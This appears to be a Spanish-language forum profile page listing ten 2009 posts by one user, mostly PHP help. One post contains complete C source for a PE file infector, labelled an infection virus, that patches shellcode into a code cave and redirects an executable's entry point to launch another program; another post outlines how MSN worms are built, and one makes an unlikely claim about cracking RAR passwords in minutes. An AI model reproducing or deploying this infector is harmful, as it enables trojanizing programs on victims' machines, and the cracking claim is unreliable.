Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Karman

#191
PHP / Re: Sesiones en un cron
11 Marzo 2009, 23:00 PM
tu error está donde te lo marca:

Cita de: XafiloX en 11 Marzo 2009, 17:25 PM
Warning</b>:  session_start() [<a href='function.session-start'>function.session-start</a>]: Cannot send session cookie - [b]headers already sent in <b>/home/xxxxxx/www/actualizador_continuo.php</b> on line <b>17[/b]

como verás te dice que en la línea 17 estás imprimiendo texto con un echo o print, o cualquier otra variante... no puedes modificar la cabecera si "colocaste" algún dato a la vista del cliente...

S2
#192
Cita de: KJD en  6 Marzo 2009, 15:40 PM
Exelente explicacion  AmeRiK@nO, aclaro tambien que la buerza bruta es la unica manera de crackear un zip o rar.

no, no es la única forma... la forma más rápida de romper el password de un zip o un rar es con el método texto plano, con el he logrado descifrar passwords de 16 caracteres en un rar sabiendo únicamente 128 bits del archivo en menos de 10 min...

S2
#193
más ayá que la mayoría de los anticheats tienen un control md5 del ejecutable (no permiten que se modifique ni un solo bit) la modificación del código se puede hacer si tu ejecutable contiene alguna llamada a alguna función que lance ejecutables o abra librerías: ShellExecute o LoadLibrary por ejemplo...

este código modificaba un ejecutable para que ejecute otro programa:


/*
Coder: Karman
Name of Proyect: Viruchezco Barato...
Version: 0.9.5-A
Date: 02-02-05

Nota: Hermoso Codigo de infeccion de archivos PE
sin modificacion de tamanio ni adision de secciones...
*/

#include <windows.h>
#include <Strings.h>
//#include <stdio.h>

typedef unsigned int uint;
typedef unsigned char uchar;

uchar code[]={
//*********************** Strings *************************
  //FileName 1 ?
  0,0,0,0,0,0,0,0,0,0,0,0,0,
  //FileName 2 ?
  0,0,0,0,0,0,0,0,0,0,0,0,0,
  //FileName me... jejeje
  0,0,0,0,0,0,0,0,0,0,0,0,0,
  // open                   
  'o' ,'p' ,'e' ,'n' ,0,
//*********************** Code *****************************
  //xor edi
  0x33,0xff,
  //add edi, 0d
  0x83,0xc7,0x0d,
  //mov eax, dir...         
  0xb8,0x00,0x00,0x00,0x00,
  //add eax, edi
  0x03,0xc7,
  //push 0A (ShowMode)
  0x6a,0x0a,
  //push 00 (Directory)
  0x6a,0x00,
  //push 00 (Parameters)
  0x6a,0x00,
  //push eax (File)
  0x50,
  //push "open" (Command)
  0x68,0x00,0x00,0x00,0x00,
  //push 00 (HWND)
  0x6a,0x00,
  //call shellexecute()             
  0xff,0x15,0x00,0x00,0x00,0x00,
  //cmp al,02
  0x3c,0x02,
  //je 05 (Down)
  0x74,0x05,
  //jmp old entry point
  0xe9,0x00,0x00,0x00,0x00,
  //cmp edi,39 
  0x83,0xff,0x27,
  //jne 212 (up)
  0x75,0xd4,
  //Ret
  0xc3,
  //Mark
  'D','e','L','a','C','a','b','e','z','a',' ',
  '2','0','0','5',' ',
  '-','V','r','.',' ',
  '0','.','9','.','5','.','A','-'
};

//DeLaCabeza 2005 - Vr. 0.9.5-A .-
HANDLE hfp;DWORD dwRW;
uint apep,val,val2,ira,*pval,*pval2,*sd;
uint ita,its,itva,ib,ns,epva,epa,epd,eps,FSize;
uchar av,va,*PMV,*pPMV,*pFN;

void strcopy(uchar *obj,uchar *data,uint pos)
{uchar cp;for(cp=0;cp<lstrlen(data);cp++)obj[pos+cp]=data[cp];}

//Infection Function... 
//que hermoso código papá...   
int infection(uchar *FName,uchar *txt0,uchar *txt1)
{
  its=0;ns=0;
   
  //Revisamos el FileName... Quitamos el File Path...
  pFN=FindLastChar(FName,'\\');
   
  // Old Format Names... 8x3
  if(StrLen(txt0)>12||StrLen(txt1)>12||StrLen(pFN)>12)return 1;//Ma' que te pasa?
 
  //Openigzamos el file...
  hfp = CreateFile(FName,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,0,0);
  if(hfp == INVALID_HANDLE_VALUE)return 2;//Pinche file...
 
  //lectura del fichero (PE Header)...
  PMV = (char*)GlobalAlloc(GPTR,0x601);
  ReadFile(hfp, PMV, 0x600, &dwRW, NULL);
  if(GetLastError()==ERROR_HANDLE_EOF)goto Free;
 
  //ya lo garque?
  pPMV=&PMV[0x4e];if(StrCompN(pPMV,"This",4))goto Free;

  //hubicamos los recursos... PE start Address
  pval=(int *)&PMV[0x3c];val=*pval;
 
  //file type... PE?
  pPMV=&PMV[val];if(StrCompN(pPMV,"PE",2))goto Free;
 
  //Size of Header... (1,5 Kb)
  if((val+*((int*)&PMV[val+0x54]))>0x600)goto Free;
 
  //Number of sections
  pval=(int *)&PMV[val+0x06];ns=*(pval)&0xFFFF;
  //Entry Point Virtual Address
  pval=(int *)&PMV[val+0x28];epva=*pval;apep=val+0x28;
  //Image Base
  pval=(int *)&PMV[val+0x34];ib=*pval;
  //Import Table Virtual Address
  pval=(int *)&PMV[val+0x80];itva=*pval;
 
  //Object Table Scaner
  sd=(int *)&PMV[val+0x100];   
  for(av=0;av<ns;av++)
  {
    //Phisic Address of IT
    if((itva>=sd[1])&&(itva<(sd[0]+sd[1]))){ita=itva-sd[1]+sd[3];its=sd[2];}
    //Phisic Address of EP
    if((epva>=sd[1])&&(epva<(sd[0]+sd[1]))){epa=sd[3];eps=sd[2];epd=sd[1];}
    //Next Struct info...
    sd+=0x0A; 
  } 

  //sd[0]:Virtual Size - sd[1]:Virtual Address
  //sd[2]:Phisic Size  - sd[3]:Phisic Address
   
  Free: GlobalFree(PMV);
 
  //lectura del fichero (IT Struct)...
  if(its>0){
    PMV = (char*)GlobalAlloc(GPTR,its+1);//pos=ita;
    SetFilePointer(hfp,ita,NULL,FILE_BEGIN); 
    ReadFile(hfp, PMV, its, &dwRW, NULL);PMV[its]=0;
    if(GetLastError()==ERROR_HANDLE_EOF)goto EndFind;
   
    //Find Function in Import Table...
    ira=0;pval=(int *)PMV;
      while(*pval&&!ira){
        val=*pval-itva;av=0;
        if(val>its)goto EndFind;
        pval2=(int *)&PMV[val];         
        while(*pval2){
          val2=*pval2-itva; 
          if(val2<its){
            pPMV=&PMV[val2+2];
            if(!StrComp(pPMV,"ShellExecuteA")){
              ira=*(pval+0x04)+ib+av*0x04;
              goto EndFind;
            }
          }
          pval2++;av++;
        }
        pval+=5;     
      }
    EndFind: GlobalFree(PMV);
  }
 
  va=0;if(ira){val=0;
    PMV = (char*)GlobalAlloc(GPTR,eps+1);
    SetFilePointer(hfp,epa,NULL,FILE_BEGIN); 
    ReadFile(hfp, PMV, eps, &dwRW, NULL);PMV[eps]=0;
    //Find Space...
    while(val<eps&&va<0x65)if(!PMV[val++])va++;else va=0;
    GlobalFree(PMV);
  }
 
  if(va>=0x65){
    //Make positions
    val-=0x60;
    //Making the Path... FNames
    strcopy(code,txt0,0x00);strcopy(code,txt1,0x0d);strcopy(code,pFN,0x1a);
    //directions
    pval=(int *)&code[0x32];*pval=ib+epd+val-0x0d;
    //Push "open"
    pval=(int *)&code[0x40];*pval=ib+epd+val+0x27;
    //call shellexecute()
    pval=(int *)&code[0x48];*pval=ira;
    //jmp old entry point
    pval=(int *)&code[0x51];*pval=epva-epd-val-0x55;
   
    //Escribimos...
    SetFilePointer(hfp,epa+val,NULL,FILE_BEGIN); 
    WriteFile(hfp, code, 0x5b, &dwRW, NULL);
   
    //calc address of entry point
    pval=(int *)&code[0x00];*pval=epd+val+0x2C;
    SetFilePointer(hfp,apep,NULL,FILE_BEGIN); 
    WriteFile(hfp, code, 0x4, &dwRW, NULL);
   
    //File Mark
    SetFilePointer(hfp,0x4e,NULL,FILE_BEGIN);
    WriteFile(hfp,&code[0x5b],29, &dwRW, NULL);
  }
  CloseHandle(hfp);
  return 0;
}

int main(void){
  infection("c:\\k.exe","boot.exe","filename.exe");
  system("pause");
}
// La verda' que eto e' una obra de marte... .)


PD: me olvidaba que defini un par de funciones extras en un .h .c
Strings.h/c (el h solo tenía los prototipos)
/*
* Strings.c
*
* Definitions for string functions.
*
*  This source code is offered for use in the public domain. You may
*  use, modify or distribute it freely.
*
*  This code is distributed in the hope that it will be useful but
*  WITHOUT ANY WARRANTY. ALL WARRANTIES, EXPRESS OR IMPLIED ARE HEREBY
*  DISCLAIMED. This includes but is not limited to warranties of
*  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* $Revision: 1.0
* $Author: Karman
* $Date: 2004/03/02
*
*/

//Global Var's
#include <windows.h>
char itstmp[12];

//Code Start...

void StrIns(char *obj,char *data,int pos){
  obj+=pos;
  while(*data)*(obj++)=*(data++);
}

char *Upper(char *buff){
char *buf=buff;
while(*buff){if(*buff>0x60&&*buff<0x7b)*buff-=0x20;buff++;}
return buf;
}

char *Lower(char *buff){
char *buf=buff;
while(*buff){if(*buff>0x40&&*buff<0x5b)*buff+=0x20;buff++;}
return buf;
}

char *StrCat(char *buff1,char *buff2){
char *buf=buff1;while(*buff1)buff1++;
while(*buff2)*(buff1++)=*(buff2++);
*buff1=0;return buf;
}

char *StrCatN(char *buff1,char *buff2,int nc){
char *buf=buff1;while(*buff1)buff1++;
while(*buff2&&(nc--))*(buff1++)=*(buff2++);
*buff1=0;return buf;
}

char *StrCopy(char *buff1,char *buff2){
char *buf=buff1;
while(*buff2)*(buff1++)=*(buff2++);
*buff1=0;return buf;
}

char *StrCopyN(char *buff1,char *buff2,int nc){
char *buf=buff1;
while(*buff2&&(nc--))*(buff1++)=*(buff2++);
*buff1=0;return buf;
}

char *FindFirstChar(char *buff,char cf){
while(*buff&&*buff!=cf)buff++;
if(!(*buff)&&cf)return 0;
return buff;
}

char *FindLastChar(char *buff,char cf){
  char *buff2=NULL;
  while(*buff)if(*(buff++)==cf)buff2=buff;
  return buff2;
}

char *StrTokenChar(char *buff1,char *buff2,char cf1,char cf2){
*buff1=0;
while(*buff2){
  if(*(buff2++)==cf1){
    while(*buff2){
      *buff1=*(buff2++);*(++buff1)=0;
      if(*buff2==cf2)goto end;
    }
  }
}
end:
return buff1;
}

int StringsTokens(char *buff1,char *buff2,char cf1,char cf2,int no){
int av=0;char *tmp=buff1;*buff1=0;
while(*buff2&&av<no){buff1=tmp;
  if(*(buff2++)==cf1){++av;
    while(*buff2&&*buff2!=cf2){
      *buff1=*(buff2++);*(++buff1)=0;
    }
  }
}return av;
}

int FindPrevStr(char *buff1,char *buff2,char cf,int no){
int av=0,pos=0,ap=0;*buff1=0;char *tmp=buff1;
while(*buff2){
  if(*buff2==cf){pos=ap;if(++av==no)break;}
  *buff1=*buff2;buff1++;buff2++;ap++;
}tmp[pos]=0;
return av;
}

int StrLen(char *buff){
  int ret=0;
  while(*buff){ret++;buff++;}
  return ret;
}

int StrComp(char *buff1,char *buff2){
  int ret=0;
  while(*buff1&&*buff2){if(*(buff1++)!=*(buff2++))ret++;}
  if(*buff1||*buff2)ret++;
  return ret;
}

int StrCompN(char *buff1,char *buff2,int nc){
  int ret=0,av;
  while(*buff1&&*buff2&&(nc)){--nc;
    if(*(buff1++)!=*(buff2++))ret++;
  }if((*buff1^*buff2)&&nc)ret++;
  return ret;
}

int FindNum(char *bf){
int tn=0;char av=0;
while(*bf){
  if((*bf>0x2F)&&(*bf<0x3a)){
    if(av)tn*=10;tn+=*bf-0x30;av=1; 
  }else if(av)break;bf++;
}return tn;
}

char *offset(int val){
int tmp;char *temp=itstmp;int at=val;
temp+=11;*temp=0;do{tmp=val/10;--temp;
*temp=((at>0)?(val-tmp*10):-(val-tmp*10))+0x30;val=tmp;
}while(val);if(at<0){--temp;*temp='-';}return temp;
}
//End Code...


en el podrás ver un pantallazo de como se hace...

S2
#194
para hacer ese tipo de cosas no es necesario la inyección, la inyección es solo un método de ocultamiento, para hacer los gusanos del msn no se necesita nada, más que leer la documentación del MSN y su interfaz COM: msgrua.h

http://msdn.microsoft.com/en-us/library/bb758812.aspx
http://msdn.microsoft.com/en-us/library/bb758726.aspx

ahora, el tema de detectarlo es simple, tiene que haber un ejecutable que lance la inyección... tienes que mirar en que procesos se inician con el sistema y más que seguro alguno de ellos es... hay otras variantes más complicadas... pero probá primero esa...

S2
#195
PHP / Re: Proteger login contra bruteforcers
3 Marzo 2009, 02:17 AM
utiliza el método de número aleatorio + sesión... cada ves que un usuario descarga tu formulario imprime en el un número aleatorio cifrado con md5 y guarda dicho número en una variable de sesión, cuando se envían los datos cifra el que tienes en sesión y tiene que ser igual al del formulario, si intenta clonar el formulario, nunca va a poder saber cual es el número que el código espera, ese es el método que utilizan la mayoría de los cms...

S2
#196
PHP / Re: ¿Saber nombre del Pc en Php?
20 Febrero 2009, 03:42 AM
Cita de: N1K0 en 20 Febrero 2009, 03:27 AM
pero si con la funcion gethostbyname() si se puede hacer a menos que justo la ip que se lo hagas pertenezca a un servidor web entonces la ip va a apuntar a un dns lo que te va a devolver el dominio de la ip .... pero se puede....

POR DIOS!!! LEAN UN POCO!!!

Cita de: http://ar2.php.net/gethostbyname
gethostbyname — Obtener la dirección IP correspondiente a un nombre de host de Internet dado

en todo caso te referirás a:

Cita de: http://ar2.php.net/manual/es/function.gethostbyaddr.php
gethostbyaddr —  Obtener el nombre del host de Internet correspondiente a una dirección IP dada

que en el 99% de los casos te devolverá el nombre del host te tu ISP (el 1% es para la gente que sea "servidor" con todas las palabras)... algo así:

Citarhost38.190-224-241.telecom.net.ar

S2

PD: eso sirve para una red de área local...
#197
PHP / Re: ¿Saber nombre del Pc en Php?
20 Febrero 2009, 03:18 AM
Cita de: HansVon en 20 Febrero 2009, 03:14 AMa y por cierto, php no se compila se interpreta.

es una forma de decir... (costumbre de C/C++)... pero la idea se entendió...

S2
#198
PHP / Re: ¿Saber nombre del Pc en Php?
20 Febrero 2009, 03:03 AM
Cita de: WHK en 20 Febrero 2009, 02:46 AM
Porque dicen que es imposible, php es tan eficiente como cualquier otro lenguaje:

Código (php) [Seleccionar]
<?php echo php_uname(); ?>

vos sos o te haces? el habla del cliente... no del servidor...

GENTE LEAN ANTES DE POSTEAR!!!

S2
#199
PHP / Re: ¿Saber nombre del Pc en Php?
20 Febrero 2009, 02:22 AM
yo me pregunto no? alguien les explicó como funciona php? php se compila en el servidor y se entrega al cliente... es imposible obtener este tipo de información ya que PHP no se ejecuta en el cliente!!!, lo máximo que pueden tener es la información que el cliente da a nuestro servidor... acá un ejemplo:

Citar
Host: localhost (IP de cliente)
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.6) Gecko/20
09011913 Firefox/3.0.6
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive

más de esa información con PHP es imposible porque es lo único que sabe del cliente... de una vez por todas... aprendan antes de hablar!!!

S2

#200
PHP / Re: Arbol ordenado en SQL?
14 Febrero 2009, 06:23 AM
no hace lo que quiero, o no logro entender el como...

S2